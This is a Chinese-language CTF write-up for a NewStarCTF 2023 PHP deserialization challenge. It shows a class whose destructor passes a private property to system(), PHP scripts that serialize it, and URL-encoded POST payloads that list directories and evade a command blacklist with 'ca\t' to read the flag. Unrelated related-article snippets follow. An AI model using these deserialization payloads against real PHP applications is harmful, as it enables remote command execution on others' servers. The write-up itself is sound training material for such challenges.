NewStarCTF2023week2-Unserialize?

news/2024/7/24 12:59:45 标签: php, 正则表达式, web安全, 反序列化漏洞

代码审计:

定义了一个eval类,该类下有一个私有变量cmd和公有成员函数destruct(),该函数在对象的所有引用都被删除或类被销毁时会自动调用;

调用该函数则会执行一个正则表达式进行正则匹配,过滤掉了一些常用命令和base编码,

i表示不区分大小写,因此我们无法使用大小写来绕过;

如果满足if条件,没有被匹配到,则会调用system函数,执行我们传入的cmd内容;

最终要求我们使用post请求给unser传参,传入后会对其进行反序列化。

关于反序列化漏洞基础知识以及PHP魔法函数、pop链构造请参考我之前的博客:

http://t.csdnimg.cn/UqIXd

http://t.csdnimg.cn/Crxdl

http://t.csdnimg.cn/vGNgX

http://t.csdnimg.cn/mdplc

OK咱们继续说这道题,这里考的就是php反序列化漏洞

编写序列化脚本:先将原本的eval类的内容复制进来

错误示例:

php"><?php
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
$e->cmd = 'ls';
echo serialize($e)

?>

创建了一个 evil 对象并设置了 cmd 属性,然后对对象进行了序列化。但要注意,在 PHP 中,如果一个类包含私有属性,并且你尝试序列化该对象,私有属性的值将不会被包括在序列化结果中。因此,在反序列化时,你无法访问 cmd 属性的值,因为它不会被正确反序列化。

对于私有变量,我们一般在类中直接对其修改:

php"><?php
class evil {
    private $cmd='ls';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo serialize($e)

?>

O:4:"evil":1:{s:9:"evil cmd";s:2:"ls";} 

虽然序列化成功了,但是将结果传入发现没反应

应该是我们传入的内容被进行了一次url解码

因此我们对结果再进行url编码:

php"><?php
class evil {
    private $cmd='ls';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode(serialize($e));

?>

 构造payload:

php">post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

回显成功

构造payload进行目录穿越:

php"><?php
class evil {
    private $cmd='ls ../../../';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode((serialize($e)))

?>

php">post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A12%3A%22ls+..%2F..%2F..%2F%22%3B%7D

在根目录下找到flag 

由于cat,tac被过滤了,这里使用转义符号进行绕过

php"><?php
class evil {
    private $cmd='ca\t /th1s_1s_fffflllll4444aaaggggg';

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

$e = new evil();
echo urlencode((serialize($e)))

?>

构造payload:

php">post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22ca%5Ct+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

flag{1f321f7f-2a47-421e-839b-bb899cb523b0}


http://www.niftyadmin.cn/n/5090660.html

相关文章

ros学习笔记(二)Vscode中使用Romote远程开发调试Ros2环境

首先&#xff0c;成功安装ros2环境&#xff0c;参考官方文档中的教程&#xff0c;能用运行出来此处的代码 Writing a simple publisher and subscriber (Python) — ROS 2 Documentation: Iron documentation 下载vscode&#xff0c;进行远程开发&#xff0c;具体参考&#xf…

析构函数:在主程序文件中实现对象的调用

//析构函数&#xff1a;在主程序文件中实现对象的调用&#xff1a; #include<iostream> using namespace std; #include"Person.h" void main(){CPerson p;p.ShowFrameMessage();p.ShowStartMessage();p.ShowFrameMessage(); }//Person.h声明定义&#xff1a;c…

YoloV8改进策略:SwiftFormer,全网首发,独家改进的高效加性注意力用于实时移动视觉应用的模型,重构YoloV8

文章目录 摘要论文:《SwiftFormer:基于Transformer的高效加性注意力用于实时移动视觉应用的模型》1、简介2、相关研究3、方法3.1、注意力模块概述3.2、高效的加性注意力3.3、SwiftFormer 架构4、实验4.1、实现细节4.2、基线比较4.3、图像分类4.4、目标检测和实例分割4.5、语义…

tomcat启动jvm内存设置

Linux&#xff1a;   在/usr/local/apache-tomcat-5.5.23/bin目录下的catalina.sh添加&#xff1a; JAVA_OPTS"-Xms512m-Xmx1024m" 要加“m”说明是MB&#xff0c;否则就是KB了&#xff0c;在启动tomcat时会报内存不足。   -Xms&#xff1a;初始值   -Xmx&am…

Linux-CentOS8-Oracle19c 安装详解

Linux-CentOS8-Oracle19c安装图解 文章目录 Linux-CentOS8-Oracle19c安装图解预备1. Oracle19c 安装手册&#xff1a;2. 安装虚拟机&#xff1a;4G内存&#xff0c;2*2核心&#xff0c;30G3. 下载CentOS8镜像。4. 开始准备预安装5. 修改Oracle账户密码6. 修改SELINUX值在文件&a…

网络链接失败怀疑是服务器处于非正常状态?如何用本地电脑查看服务器是否正常?

网络链接失败怀疑是服务器处于非正常状态&#xff1f;如何用本地电脑查看服务器是否正常&#xff1f; 网页会出现链接失败&#xff0c;可以实时用cdm大法&#xff0c;cdm可以更好的排查字节数据的返回&#xff0c;可以让我们更好的要检查服务器是否处于正常状态&#xff0c;接下…

Java架构师详细设计

目录 1 导学2 详细设计的基本任务2.1 详细设计的概述2.1.1 界面元素2.1.2 界面数据来源2.1.3 界面交互2.1.4 按钮操作2.2 完善API设计2.3 完善数据库结构设计2.3.1 业务字段2.3.2 描述字段2.3.3 控制字段2.3.4 暂存字段2.4 类设计2.5 算法设计2.5.1 通用算法2.5.2 业务算法2.5.…

阿里云云安全中心基础免费版不支持审计功能!

阿里云云安全中心免费版有审计功能吗&#xff1f;没有&#xff0c;审计功能是指日志分析模块&#xff0c;日志分析仅支持防病毒版、高级版、企业版和旗舰版用户在购买日志分析容量后使用该功能。阿里云百科&#xff1a;免费版用户需要升级到防病毒版、高级版、企业版或旗舰版并…